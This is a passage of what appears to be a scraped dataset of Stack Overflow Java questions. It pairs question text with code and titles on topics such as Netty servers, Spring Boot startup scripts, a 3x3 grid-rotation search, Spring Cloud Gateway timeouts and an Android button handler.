same time as getting from 2 million to 3 million people . However , I would like this growth to be random if possible to make it more realistic . So far I have a method that works well : However , I realise this will not be sustainable . It runs approximately 60 times a second ( on that magnitude ) , and once it reaches levels of millions , it may end up running billions of operations per second - a bit much for such a simple check . I 'll put it on an interval if I have to , but I 'd rather keep it random.I tried to find an equation for the probability but ended up with : Σ ( 99^r/1000^ ( r+1 ) ) from r=0 to p ( where p = probability ) Is there any easy way to change that probability to a test , or a simpler method in Java to accomplish such a purpose.If it helps I 'm using LibGdx as an engine .",if ( buildingCount > populationCount & & foodCount > populationCount ) for ( int i=1 ; i < populationCount ; i++ ) { int randomInt = random.nextInt ( 1000 ) ; if ( randomInt == 42 ) { Data.main.setPopulationCount ( populationCount+1 ) ; } } if ( ( buildingCount < populationCount || foodCount < populationCount ) & & populationCount > 2 ) for ( int i=1 ; i < populationCount ; i++ ) { int randomInt = random.nextInt ( 1000 ) ; if ( randomInt == 888 ) { Data.main.setPopulationCount ( populationCount-1 ) ; },How to simulate exponential growth +Java,I read that doing : is equals to : both meaning that the method is not overridable ! But I do n't see the equivalence if a method is private it 's automatically notaccessible ...,public final void foo ( ) { } private static void foo ( ) { },final and private static +Java,"I had a question about how I could get the master thread back in Netty while creating a TCP server socket.In the code below taken from here , `` Hello Hello '' would never be written in the output as the thread that starts the Server , waits on this line : f.channel ( ) .closeFuture ( ) .sync ( ) ; . Do I need to create a separate thread to get the main thread back in this case or is there any way in Netty that would allow me to do so ( getting the main thread back while having the TCP running in the background ) ?",public void start ( ) throws Exception { NioEventLoopGroup group = new NioEventLoopGroup ( ) ; try { ServerBootstrap b = new ServerBootstrap ( ) ; b.group ( group ) .channel ( NioServerSocketChannel.class ) .localAddress ( new InetSocketAddress ( port ) ) .childHandler ( new ChannelInitializer < SocketChannel > ( ) { @ Override public void initChannel ( SocketChannel ch ) throws Exception { ch.pipeline ( ) .addLast ( new EchoServerHandler ( ) ) ; } } ) ; ChannelFuture f = b.bind ( ) .sync ( ) ; System.out.println ( EchoServer.class.getName ( ) + `` started and listen on `` + f.channel ( ) .localAddress ( ) ) ; f.channel ( ) .closeFuture ( ) .sync ( ) ; } finally { group.shutdownGracefully ( ) .sync ( ) ; } } public static void main ( String [ ] args ) throws Exception { if ( args.length ! = 1 ) { System.err.println ( `` Usage : `` + EchoServer.class.getSimpleName ( ) + `` < port > '' ) ; return ; } int port = Integer.parseInt ( args [ 0 ] ) ; new EchoServer ( port ) .start ( ) ; System.out.println ( `` Hello Hello '' ) ; },Getting the main thread back in Netty ServerSocket +Java,"I 'm trying to solve the following problem : Given a 3x3 grid with numbers 1-9 , for example : I have to sort the grid by rotating a 2x2 subgrid clockwise or counter-clockwise . The above example could be solved like this : Rotate the top left piece clockwise : Rotate the bottom right piece counter-clockwise : The grid is now 'sorted'.This IS a homework , but I 'm just not getting this . Brute forcing did n't work ; I have to be able to solve all given grids in < = 2000ms . One thing I tried was trying to calculate a value for all 8 possible next moves ( rotate all 4 pieces in both directions ) , and then rotate the piece with the best value . This value was calculated by summing together all the distances of all the numbers from their correct places.This worked for the above example , but more difficult ones are a no-go.Could anyone point me into the correct direction ? Where should I start ? Does this problem have a name ? All grids are 3x3 and the rotating pieces are always 2x2.Thanks in advance.EDIT : Forgot to mention the biggest thing : I have to find the smallest possible amount of turns that sorts the grid.EDIT2 : I implemented a working algorithm with bits of advice from all the suggestion I 've received . The annoying thing is , on my machine it runs the worst case scenario ( 987654321 ) in 1,5s , but on the server that tests the program it runs > 2s , which means I still need to optimize . My working code as it is nowCan anyone come up with any optimizing tips ? EDIT3 : An implementation from the look-up table idea by Sirko , as I understood it : runs for about 1500-1600ms each time.EDIT4 : By following Sirko 's advice I was able to cut the execution time down to 600ms . Here is the code as it is now : Huge thanks to Sirko and everyone else who gave me suggestions as well !","2 8 31 4 57 9 6 2 8 3 1 2 31 4 5 = > 4 8 57 9 6 7 9 6 1 2 3 1 2 34 8 5 = > 4 5 67 9 6 7 8 9 int find ( int [ ] [ ] grid ) { Queue q = new ArrayDeque < String > ( ) ; Map < String , Boolean > visited = new HashMap < String , Boolean > ( ) ; Object [ ] str = new Object [ ] { `` '' , 0 } ; for ( int [ ] row : grid ) for ( int num : row ) str [ 0 ] += Integer.toString ( num ) ; q.add ( str ) ; while ( ! q.isEmpty ( ) ) { str = ( Object [ ] ) q.poll ( ) ; while ( visited.containsKey ( ( String ) str [ 0 ] ) ) str = ( Object [ ] ) q.poll ( ) ; if ( ( ( String ) str [ 0 ] ) .equals ( `` 123456789 '' ) ) break ; visited.put ( ( String ) str [ 0 ] , Boolean.TRUE ) ; for ( int i = 0 ; i < 4 ; i++ ) { String [ ] kaannetut = kaanna ( ( String ) str [ 0 ] , i ) ; Object [ ] str1 = new Object [ ] { ( String ) kaannetut [ 0 ] , ( Integer ) str [ 1 ] +1 } ; Object [ ] str2 = new Object [ ] { ( String ) kaannetut [ 1 ] , ( Integer ) str [ 1 ] +1 } ; if ( ! visited.containsKey ( ( String ) str1 [ 0 ] ) ) q.add ( ( Object [ ] ) str1 ) ; if ( ! visited.containsKey ( ( String ) str2 [ 0 ] ) ) q.add ( ( Object [ ] ) str2 ) ; } } return ( Integer ) str [ 1 ] ; } import java.util . * ; class Permutation { String str ; int stage ; public Permutation ( String str , int stage ) { this.str = str ; this.stage = stage ; } } public class Kiertopeli { // initialize the look-up table public static Map < String , Integer > lookUp = createLookup ( ) ; public static int etsiLyhin ( int [ ] [ ] grid ) { String finale = `` '' ; for ( int [ ] row : grid ) for ( int num : row ) finale += Integer.toString ( num ) ; // fetch the wanted situation from the look-up table return lookUp.get ( finale ) ; } public static Map < String , Integer > createLookup ( ) { // will hold the list of permutations we have already visited . Map < String , Integer > visited = new HashMap < String , Integer > ( ) ; Queue < Permutation > q = new ArrayDeque < Permutation > ( ) ; q.add ( new Permutation ( `` 123456789 '' , 0 ) ) ; // just for counting . should always result in 362880. int permutations = 0 ; Permutation permutation ; creation : while ( ! q.isEmpty ( ) ) { permutation = q.poll ( ) ; // pick the next non-visited permutation . while ( visited.containsKey ( permutation.str ) ) { if ( q.isEmpty ( ) ) break creation ; permutation = q.poll ( ) ; } // mark the permutation as visited . visited.put ( permutation.str , permutation.stage ) ; // loop through all the rotations . for ( int i = 0 ; i < 4 ; i++ ) { // get a String array with arr [ 0 ] being the permutation with clockwise rotation , // and arr [ 1 ] with counter-clockwise rotation . String [ ] rotated = rotate ( permutation.str , i ) ; // if the generated permutations have n't been created before , add them to the queue . if ( ! visited.containsKey ( rotated [ 0 ] ) ) q.add ( new Permutation ( rotated [ 0 ] , permutation.stage+1 ) ) ; if ( ! visited.containsKey ( rotated [ 1 ] ) ) q.add ( new Permutation ( rotated [ 1 ] , permutation.stage+1 ) ) ; } permutations++ ; } System.out.println ( permutations ) ; return visited ; } public static String [ ] rotate ( String string , int place ) { StringBuilder str1 = new StringBuilder ( string ) ; StringBuilder str2 = new StringBuilder ( string ) ; if ( place == 0 ) { // top left piece str1.setCharAt ( 0 , string.charAt ( 3 ) ) ; str1.setCharAt ( 1 , string.charAt ( 0 ) ) ; // clockwise rotation str1.setCharAt ( 4 , string.charAt ( 1 ) ) ; // str1.setCharAt ( 3 , string.charAt ( 4 ) ) ; str2.setCharAt ( 3 , string.charAt ( 0 ) ) ; str2.setCharAt ( 0 , string.charAt ( 1 ) ) ; // counter-clockwise str2.setCharAt ( 1 , string.charAt ( 4 ) ) ; // str2.setCharAt ( 4 , string.charAt ( 3 ) ) ; } if ( place == 1 ) { // top right str1.setCharAt ( 1 , string.charAt ( 4 ) ) ; str1.setCharAt ( 2 , string.charAt ( 1 ) ) ; str1.setCharAt ( 5 , string.charAt ( 2 ) ) ; str1.setCharAt ( 4 , string.charAt ( 5 ) ) ; str2.setCharAt ( 4 , string.charAt ( 1 ) ) ; str2.setCharAt ( 1 , string.charAt ( 2 ) ) ; str2.setCharAt ( 2 , string.charAt ( 5 ) ) ; str2.setCharAt ( 5 , string.charAt ( 4 ) ) ; } if ( place == 2 ) { // bottom left str1.setCharAt ( 3 , string.charAt ( 6 ) ) ; str1.setCharAt ( 4 , string.charAt ( 3 ) ) ; str1.setCharAt ( 7 , string.charAt ( 4 ) ) ; str1.setCharAt ( 6 , string.charAt ( 7 ) ) ; str2.setCharAt ( 6 , string.charAt ( 3 ) ) ; str2.setCharAt ( 3 , string.charAt ( 4 ) ) ; str2.setCharAt ( 4 , string.charAt ( 7 ) ) ; str2.setCharAt ( 7 , string.charAt ( 6 ) ) ; } if ( place == 3 ) { // bottom left str1.setCharAt ( 4 , string.charAt ( 7 ) ) ; str1.setCharAt ( 5 , string.charAt ( 4 ) ) ; str1.setCharAt ( 8 , string.charAt ( 5 ) ) ; str1.setCharAt ( 7 , string.charAt ( 8 ) ) ; str2.setCharAt ( 7 , string.charAt ( 4 ) ) ; str2.setCharAt ( 4 , string.charAt ( 5 ) ) ; str2.setCharAt ( 5 , string.charAt ( 8 ) ) ; str2.setCharAt ( 8 , string.charAt ( 7 ) ) ; } return new String [ ] { str1.toString ( ) , str2.toString ( ) } ; } public static void main ( String [ ] args ) { String grids = `` 2 8 3 1 4 5 7 9 6 `` + `` 1 6 5 8 7 2 3 4 9 `` + `` 1 6 5 8 7 2 3 4 9 `` + `` 1 7 6 8 2 5 3 4 9 `` + `` 8 1 5 7 4 6 3 9 2 `` + `` 9 8 7 6 5 4 3 2 1 `` ; Scanner reader = new Scanner ( grids ) ; System.out.println ( ) ; while ( reader.hasNext ( ) ) { System.out.println ( `` Enter grid : '' ) ; int [ ] [ ] grid = new int [ 3 ] [ 3 ] ; for ( int i = 0 ; i < 3 ; i++ ) { for ( int j = 0 ; j < 3 ; j++ ) { grid [ i ] [ j ] = reader.nextInt ( ) ; } } System.out.println ( `` Smallest : `` + etsiLyhin ( grid ) ) ; } } } import java.util . * ; class Permutation { Byte [ ] value ; int stage ; public Permutation ( Byte [ ] value , int stage ) { this.value = value ; this.stage = stage ; } public Byte [ ] [ ] rotate ( int place ) { Byte [ ] code1 = value.clone ( ) ; Byte [ ] code2 = value.clone ( ) ; if ( place == 0 ) { // top left piece code1 [ 0 ] = value [ 3 ] ; code1 [ 1 ] = value [ 0 ] ; code1 [ 4 ] = value [ 1 ] ; code1 [ 3 ] = value [ 4 ] ; code2 [ 3 ] = value [ 0 ] ; code2 [ 0 ] = value [ 1 ] ; code2 [ 1 ] = value [ 4 ] ; code2 [ 4 ] = value [ 3 ] ; } if ( place == 1 ) { // top right code1 [ 1 ] = value [ 4 ] ; code1 [ 2 ] = value [ 1 ] ; code1 [ 5 ] = value [ 2 ] ; code1 [ 4 ] = value [ 5 ] ; code2 [ 4 ] = value [ 1 ] ; code2 [ 1 ] = value [ 2 ] ; code2 [ 2 ] = value [ 5 ] ; code2 [ 5 ] = value [ 4 ] ; } if ( place == 2 ) { // bottom left code1 [ 3 ] = value [ 6 ] ; code1 [ 4 ] = value [ 3 ] ; code1 [ 7 ] = value [ 4 ] ; code1 [ 6 ] = value [ 7 ] ; code2 [ 6 ] = value [ 3 ] ; code2 [ 3 ] = value [ 4 ] ; code2 [ 4 ] = value [ 7 ] ; code2 [ 7 ] = value [ 6 ] ; } if ( place == 3 ) { // bottom left code1 [ 4 ] = value [ 7 ] ; code1 [ 5 ] = value [ 4 ] ; code1 [ 8 ] = value [ 5 ] ; code1 [ 7 ] = value [ 8 ] ; code2 [ 7 ] = value [ 4 ] ; code2 [ 4 ] = value [ 5 ] ; code2 [ 5 ] = value [ 8 ] ; code2 [ 8 ] = value [ 7 ] ; } return new Byte [ ] [ ] { code1 , code2 } ; } public Integer toInt ( ) { Integer ival = value [ 8 ] * 1 + value [ 7 ] * 10 + value [ 6 ] * 100 + value [ 5 ] * 1000 + value [ 4 ] * 10000 + value [ 3 ] * 100000 + value [ 2 ] * 1000000 + value [ 1 ] * 10000000 + value [ 0 ] * 100000000 ; return ival ; } } public class Kiertopeli { // initialize the look-up table public static Map < Integer , Integer > lookUp = createLookup ( ) ; public static int etsiLyhin ( int [ ] [ ] grid ) { Integer finale = toInt ( grid ) ; // fetch the wanted situation from the look-up table return lookUp.get ( finale ) ; } public static Map < Integer , Integer > createLookup ( ) { // will hold the list of permutations we have already visited . Map < Integer , Integer > visited = new HashMap < Integer , Integer > ( ) ; Map < Integer , Boolean > queued = new HashMap < Integer , Boolean > ( ) ; Queue < Permutation > q = new ArrayDeque < Permutation > ( ) ; q.add ( new Permutation ( new Byte [ ] { 1,2,3,4,5,6,7,8,9 } , 0 ) ) ; queued.put ( 123456789 , true ) ; // just for counting . should always result in 362880. int permutations = 0 ; Permutation permutation ; creation : while ( ! q.isEmpty ( ) ) { permutation = q.poll ( ) ; // pick the next non-visited permutation . while ( visited.containsKey ( permutation.toInt ( ) ) ) { if ( q.isEmpty ( ) ) break creation ; permutation = q.poll ( ) ; } // mark the permutation as visited . visited.put ( permutation.toInt ( ) , permutation.stage ) ; // loop through all the rotations . for ( int i = 0 ; i < 4 ; i++ ) { // get a String array with arr [ 0 ] being the permutation with clockwise rotation , // and arr [ 1 ] with counter-clockwise rotation . Byte [ ] [ ] rotated = permutation.rotate ( i ) ; // if the generated permutations have n't been created before , add them to the queue . if ( ! visited.containsKey ( toInt ( rotated [ 0 ] ) ) & & ! queued.containsKey ( toInt ( rotated [ 0 ] ) ) ) { q.add ( new Permutation ( rotated [ 0 ] , permutation.stage+1 ) ) ; queued.put ( toInt ( rotated [ 0 ] ) , true ) ; } if ( ! visited.containsKey ( toInt ( rotated [ 1 ] ) ) & & ! queued.containsKey ( toInt ( rotated [ 1 ] ) ) ) { q.add ( new Permutation ( rotated [ 1 ] , permutation.stage+1 ) ) ; queued.put ( toInt ( rotated [ 1 ] ) , true ) ; } } permutations++ ; } System.out.println ( permutations ) ; return visited ; } public static Integer toInt ( Byte [ ] value ) { Integer ival = value [ 8 ] * 1 + value [ 7 ] * 10 + value [ 6 ] * 100 + value [ 5 ] * 1000 + value [ 4 ] * 10000 + value [ 3 ] * 100000 + value [ 2 ] * 1000000 + value [ 1 ] * 10000000 + value [ 0 ] * 100000000 ; return ival ; } public static Integer toInt ( int [ ] [ ] value ) { Integer ival = value [ 2 ] [ 2 ] * 1 + value [ 2 ] [ 1 ] * 10 + value [ 2 ] [ 0 ] * 100 + value [ 1 ] [ 2 ] * 1000 + value [ 1 ] [ 1 ] * 10000 + value [ 1 ] [ 0 ] * 100000 + value [ 0 ] [ 2 ] * 1000000 + value [ 0 ] [ 1 ] * 10000000 + value [ 0 ] [ 0 ] * 100000000 ; return ival ; } public static void main ( String [ ] args ) { String grids = `` 2 8 3 1 4 5 7 9 6 `` + `` 1 6 5 8 7 2 3 4 9 `` + `` 1 6 5 8 7 2 3 4 9 `` + `` 1 7 6 8 2 5 3 4 9 `` + `` 8 1 5 7 4 6 3 9 2 `` + `` 9 8 7 6 5 4 3 2 1 `` ; Scanner reader = new Scanner ( grids ) ; System.out.println ( ) ; while ( reader.hasNext ( ) ) { System.out.println ( `` Enter grid : '' ) ; int [ ] [ ] grid = new int [ 3 ] [ 3 ] ; for ( int i = 0 ; i < 3 ; i++ ) { for ( int j = 0 ; j < 3 ; j++ ) { grid [ i ] [ j ] = reader.nextInt ( ) ; } } System.out.println ( `` Smallest : `` + etsiLyhin ( grid ) ) ; } } }",Sort 3x3 grid by rotating 2x2 subgrids +Java,"I package my Spring Boot war with embedded Tomcat servlet container . And deploy it as a regular java application using java -jar server.war < Spring Args > . I wrote a bash script that would take care of deploying the server as a background/foreground process : As you can see , for background process start I use nohup . Everything is working fine , it sends STDOUT and STDERR to my $ { LOG_PATH } /console.log . console.log reports that my server is up and running on preconfigured port ( using Spring profiles ) . I have a profile dev-https that configured with port 8443 : However , when I try to start the server as a foreground process , I get unexpected behavior . Whenever I deploy the server using start_foreground ( ) , it starts fine , but the port resets to default 8080.If I attach a debugger , and try to get values using environment.getProperty ( `` server.port '' ) , it will return empty string ( however , if a property is not defined , it usually returns null ) . Moreover , all other properties return expected values : environment.getProperty ( `` spring.profiles.active '' ) =dev-httpsenvironment.getProperty ( `` server.ssl.enabled '' ) =trueetc.I tried to replace eval with exec and even run $ { cmd } by itself inside start_foreground ( ) bash function , but the port always resets to 8080 , and server.port returns empty string.The weirdest part is that if I execute $ { cmd } in my console ( not from within the script ) , everything works flawlessly ( right profile , and right port get used ) .Has anyone encountered such weird problem ?",start_foreground ( ) { cmd= '' $ JAVACMD $ { JVM_OPTS } -jar $ { WAR_FILE } $ { SPRING_OPTS } '' echo `` \ '' $ { cmd } \ '' '' eval $ { cmd } print_log `` Server is stopped . `` } start_background ( ) { SPRING_OPTS= '' -- spring.pid.file= $ { PID_FILE } $ { SPRING_OPTS } '' cmd= '' nohup $ JAVACMD $ { JVM_OPTS } -jar $ { WAR_FILE } $ { SPRING_OPTS } & > $ { LOG_PATH } /console.log & '' echo `` \ '' $ { cmd } \ '' '' eval $ { cmd } PID= $ ! print_log `` Server is started with pid \ '' $ { PID } \ '' '' } spring : profiles.active : dev-https ... -- -spring : profiles : dev-httpsserver : port : 8443 ssl : enabled : true protocol : TLS enabled-protocols : TLSv1.2 key-store : < path > key-store-password : < password >,Starting Spring Boot as a foreground process from within a bash script +Java,"I am using spring cloud gateway as API gateway in my micro service setup with consul as service discovery.In some case when API of some microservice take more then 2 minutes , gateway throws below error : I tried the same API multiple time , I got this error exactly after 2 minutes.Is there any property settings.Version and dependency details : Ribbon settings :",java.io.IOException : Connection closed prematurelyat reactor.ipc.netty.http.client.HttpClientOperations.onInboundClose ( HttpClientOperations.java:269 ) at reactor.ipc.netty.channel.ChannelOperationsHandler.channelInactive ( ChannelOperationsHandler.java:113 ) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelInactive ( AbstractChannelHandlerContext.java:245 ) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelInactive ( AbstractChannelHandlerContext.java:231 ) at io.netty.channel.AbstractChannelHandlerContext.fireChannelInactive ( AbstractChannelHandlerContext.java:224 ) at io.netty.channel.CombinedChannelDuplexHandler $ DelegatingChannelHandlerContext.fireChannelInactive ( CombinedChannelDuplexHandler.java:420 ) at io.netty.handler.codec.ByteToMessageDecoder.channelInputClosed ( ByteToMessageDecoder.java:377 ) at io.netty.handler.codec.ByteToMessageDecoder.channelInactive ( ByteToMessageDecoder.java:342 ) at io.netty.handler.codec.http.HttpClientCodec $ Decoder.channelInactive ( HttpClientCodec.java:282 ) at io.netty.channel.CombinedChannelDuplexHandler.channelInactive ( CombinedChannelDuplexHandler.java:223 ) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelInactive ( AbstractChannelHandlerContext.java:245 ) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelInactive ( AbstractChannelHandlerContext.java:231 ) at io.netty.channel.AbstractChannelHandlerContext.fireChannelInactive ( AbstractChannelHandlerContext.java:224 ) at io.netty.channel.DefaultChannelPipeline $ HeadContext.channelInactive ( DefaultChannelPipeline.java:1429 ) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelInactive ( AbstractChannelHandlerContext.java:245 ) at io.netty.channel.AbstractChannelHandlerContext.invokeChannelInactive ( AbstractChannelHandlerContext.java:231 ) at io.netty.channel.DefaultChannelPipeline.fireChannelInactive ( DefaultChannelPipeline.java:947 ) at io.netty.channel.AbstractChannel $ AbstractUnsafe $ 8.run ( AbstractChannel.java:822 ) at io.netty.util.concurrent.AbstractEventExecutor.safeExecute ( AbstractEventExecutor.java:163 ) at io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks ( SingleThreadEventExecutor.java:404 ) at io.netty.channel.epoll.EpollEventLoop.run ( EpollEventLoop.java:313 ) at io.netty.util.concurrent.SingleThreadEventExecutor $ 5.run ( SingleThreadEventExecutor.java:884 ) at java.lang.Thread.run ( Thread.java:745 ) compile ( 'org.springframework.cloud : spring-cloud-starter-consul-discovery ' ) compile ( 'org.springframework.cloud : spring-cloud-starter-gateway ' ) compile ( 'org.springframework.cloud : spring-cloud-starter-openfeign ' ) springBootVersion=2.0.3.RELEASEspringDMPVersion=1.0.4.RELEASEspringPlatformBomVersion=Cairo-SR2 ribbon : ConnectTimeout : 3000 ReadTimeout : 3000,Spring cloud gateway gives connection closed prematurely +Java,"I configured JPA/Hibernate in Spring using Java config and without any persistence.xml file , using the packagesToScan property of the EntityManagerFactory : But now IntelliJ IDEA does not understand it any more , and my entities in JPAQL queries are marked in red with the following message , and auto-completion does not work : Ca n't resolve symbol 'MyEntityName'Is it possible to configure IntelliJ so it also scans a given package for JPA @ Entity ?",@ Beanpublic LocalContainerEntityManagerFactoryBean entityManagerFactory ( ) { LocalContainerEntityManagerFactoryBean emf = new LocalContainerEntityManagerFactoryBean ( ) ; emf.setDataSource ( dataSource ( ) ) ; emf.setPackagesToScan ( new String [ ] { `` ch.gbif.swissBiodivPortal.model.entities '' } ) ; JpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter ( ) ; emf.setJpaVendorAdapter ( vendorAdapter ) ; emf.setJpaProperties ( hibernateConfigProperties ( ) ) ; return emf ; },IntelliJ : How to enable JPAQL validation without persistence.xml ? +Java,I want to set my own DateTimeFormatter as the global formatter . When I do the following line : I get : If I do this : I get : I want what 's printed above but with am/pm so I made my custom formatter and printed out the time like so : Which gave me : But I use this .now ( ) method everywhere for logging purposes and I dont want to define the formatter everywhere in the code . Is there a way to configure the formatter as the default format to use when calling the .now ( ) method ? I 'm thinking like spring bean configuration method or something ... ..,"ZonedDateTime.now ( ) ; 2016-03-30T08:58:54.180-06:00 [ America/Chicago ] ZonedDateTime.now ( ) .format ( DateTimeFormatter.RFC_1123_DATE_TIME ) Wed , 30 Mar 2016 9:00:06 -0600 DateTimeFormatter FORMATTER = DateTimeFormatter.ofPattern ( `` EEE , dd MMM yyyy HH : mm : ss a Z '' ) ; ZonedDateTime.now ( ) .format ( FORMATTER ) ; Wed , 30 Mar 2016 9:00:06 AM -0600",Java 8 Setting global time formatters +Java,I 'm passing a file url to the front end . The problem is that url is only available to the server ( settings.dockerIP ( ) ) because the user does n't have connection to the docker.So I need a way to transform my url into a file and then send it to the user all in the backend..My current code is like this ( it works but the user needs a tunnel to docker host ) ControllerClassFront end,"@ RequestMapping ( `` /report '' ) public ModelAndView report ( HttpServletRequest request ) { String environmentName = request.getParameter ( `` name '' ) ; ModelAndView model = new ModelAndView ( `` report '' ) ; model.addObject ( `` file '' , Report.getFileFromContainer ( environmentName ) ) ; return model ; } public static String getFileFromContainer ( String environmentName ) { Container container = getContainerID ( environmentName ) ; String url = `` '' ; if ( container ! = null ) { Settings settings = Settings.getSettings ( ) ; url = `` http : // '' + settings.getDockerIP ( ) + `` : '' + settings.getDockerPort ( ) + `` /containers/ '' + container.getId ( ) + `` /archive ? path=/path/file '' ; } return url ; } < a href= '' $ { file } '' > < /a >",File between backend a front end ( full example ) +Java,"I have ArrayList < Unit > units . I want to write a function that would return all objects of specified subclass , which is used as parameter . However I ca n't get it to work . Here is what I have :",public static ArrayList < ? extends Unit > getTheseUnits ( Class < ? extends Unit > specific_unit ) { ArrayList < specific_unit > res = new ArrayList < > ( ) ; //'specific_unit ' is in red here . Adding '.class ' or '.getClass ( ) ' after it does not resolve anything for ( Unit u : units ) { if ( u instanceof specific_unit ) { res.add ( u ) ; } } return res ; },extracting all instances of subclass from arraylist +Java,"I am new to Android and trying to implement a simple button , which should display a message in a Toast ( eventually it 's going to be used to create an account ) . But nothing happens when I press the button , no errors are displayed on the logcat either so I must be missing something obvious but I ca n't find it ! ! AndroidManifest.xmlregistration.xmlRegistrationActivity.javaRegistration.javaWhat am I doing wrong ?","< ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < manifest xmlns : android= '' http : //schemas.android.com/apk/res/android '' package= '' com.example.laptop.whatsfordinner '' > < application android : allowBackup= '' true '' android : icon= '' @ mipmap/ic_launcher '' android : label= '' @ string/app_name '' android : theme= '' @ style/AppTheme '' > < ! -- Splash Screen -- > < activity android : name= '' .Splash '' android : label= '' @ string/app_name '' android : screenOrientation= '' portrait '' android : theme= '' @ android : style/Theme.Black.NoTitleBar '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < /activity > < activity android : name= '' .MainPage '' android : label= '' @ string/app_name '' > < /activity > < ! -- Register User -- > < activity android : name= '' .RegistrationActivity '' android : label= '' Register User '' > < /activity > < /application > < ! -- Internet Permissions -- > < uses-permission android : name= '' android.permission.INTERNET '' / > < /manifest > < ? xml version= '' 1.0 '' encoding= '' utf-8 '' ? > < LinearLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : orientation= '' vertical '' android : weightSum= '' 1 '' > < ! -- Name Label -- > < TextView android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : text= '' @ string/reg_title1 '' android : paddingLeft= '' 10dip '' android : paddingRight= '' 10dip '' android : paddingTop= '' 10dip '' android : textSize= '' 17sp '' / > < ! -- Input Name -- > < LinearLayout android : orientation= '' horizontal '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_weight= '' 2.08 '' > < /LinearLayout > < EditText android : id= '' @ +id/inputName '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_margin= '' 5dip '' android : layout_marginBottom= '' 15dip '' android : singleLine= '' true '' android : background= '' # ffffff '' / > < ! -- Username Label -- > < TextView android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : text= '' @ string/reg_title2 '' android : paddingLeft= '' 10dip '' android : paddingRight= '' 10dip '' android : paddingTop= '' 10dip '' android : textSize= '' 17sp '' / > < ! -- Input Username -- > < EditText android : id= '' @ +id/inputUsername '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_margin= '' 5dip '' android : layout_marginBottom= '' 15dip '' android : singleLine= '' true '' android : background= '' # ffffff '' / > < ! -- Email Label -- > < TextView android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : text= '' @ string/reg_title3 '' android : paddingLeft= '' 10dip '' android : paddingRight= '' 10dip '' android : paddingTop= '' 10dip '' android : textSize= '' 17sp '' / > < ! -- Input Email -- > < EditText android : id= '' @ +id/inputEmail '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_margin= '' 5dip '' android : layout_marginBottom= '' 15dip '' android : singleLine= '' true '' android : inputType= '' textEmailAddress '' android : background= '' # ffffff '' / > < ! -- Password Label -- > < TextView android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : text= '' @ string/reg_title4 '' android : paddingLeft= '' 10dip '' android : paddingRight= '' 10dip '' android : paddingTop= '' 10dip '' android : textSize= '' 17sp '' / > < ! -- Input Password -- > < EditText android : id= '' @ +id/inputPassword '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_margin= '' 5dip '' android : layout_marginBottom= '' 15dip '' android : singleLine= '' true '' android : inputType= '' textPassword '' android : background= '' # ffffff '' / > < ! -- Button Register -- > < Button android : id= '' @ +id/btnRegister '' android : layout_width= '' 136dp '' android : layout_height= '' 37dp '' android : text= '' @ string/reg_button1 '' android : enabled= '' true '' android : layout_gravity= '' center_horizontal '' / > < /LinearLayout > package com.example.laptop.whatsfordinner ; import android.app.Activity ; import java.util.ArrayList ; import java.util.List ; import org.apache.http.NameValuePair ; import org.apache.http.message.BasicNameValuePair ; import org.json.JSONException ; import org.json.JSONObject ; import android.app.Activity ; import android.app.ProgressDialog ; import android.content.Intent ; import android.os.AsyncTask ; import android.os.Bundle ; import android.util.Log ; import android.view.View ; import android.widget.Button ; import android.widget.EditText ; import android.widget.Toast ; public class RegistrationActivity extends Activity { // Progress Dialog private ProgressDialog pDialog ; JSONParser jsonParser = new JSONParser ( ) ; EditText inputName ; EditText inputUsername ; EditText inputEmail ; EditText inputPassword ; @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.registration ) ; // Create button Button btnRegister1 = ( Button ) findViewById ( R.id.btnRegister ) ; // button click event btnRegister1.setOnClickListener ( new View.OnClickListener ( ) { @ Override public void onClick ( View view ) { // creating new account in background thread Toast.makeText ( RegistrationActivity.this , `` Example action . `` , Toast.LENGTH_SHORT ) .show ( ) ; } } ) ; } package com.example.laptop.whatsfordinner ; import android.app.Activity ; import android.support.v7.app.AppCompatActivity ; import android.support.v7.app.ActionBar ; import android.support.v4.app.Fragment ; import android.support.v4.app.FragmentManager ; import android.os.Bundle ; import android.view.LayoutInflater ; import android.view.Menu ; import android.view.MenuItem ; import android.view.View ; import android.view.ViewGroup ; import android.support.v4.widget.DrawerLayout ; public class Registration extends Fragment { /** * The fragment argument representing the section number for this * fragment . */ private static final String ARG_SECTION_NUMBER = `` section_number '' ; /** * Returns a new instance of this fragment for the given section * number . */ public static Registration newInstance ( int sectionNumber ) { Registration fragment = new Registration ( ) ; Bundle args = new Bundle ( ) ; args.putInt ( ARG_SECTION_NUMBER , sectionNumber ) ; fragment.setArguments ( args ) ; return fragment ; } public Registration ( ) { } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { View rootView = inflater.inflate ( R.layout.registration , container , false ) ; return rootView ; } @ Override public void onAttach ( Activity activity ) { super.onAttach ( activity ) ; ( ( MainPage ) activity ) .onSectionAttached ( getArguments ( ) .getInt ( ARG_SECTION_NUMBER ) ) ; } @ Override public void onDetach ( ) { super.onDetach ( ) ; } }",Button not working in Android application +Java,"I created a simple GUI where I have a TextArea . The TextArea itself will be populated by an Array , which contains scanned Strings out of a .txt file.This works great for smaller size files . When using large files ( ~5MB per txt.-file ) however , the TextArea ( and only the TextArea ) feels laggy and slow ( not as responsive 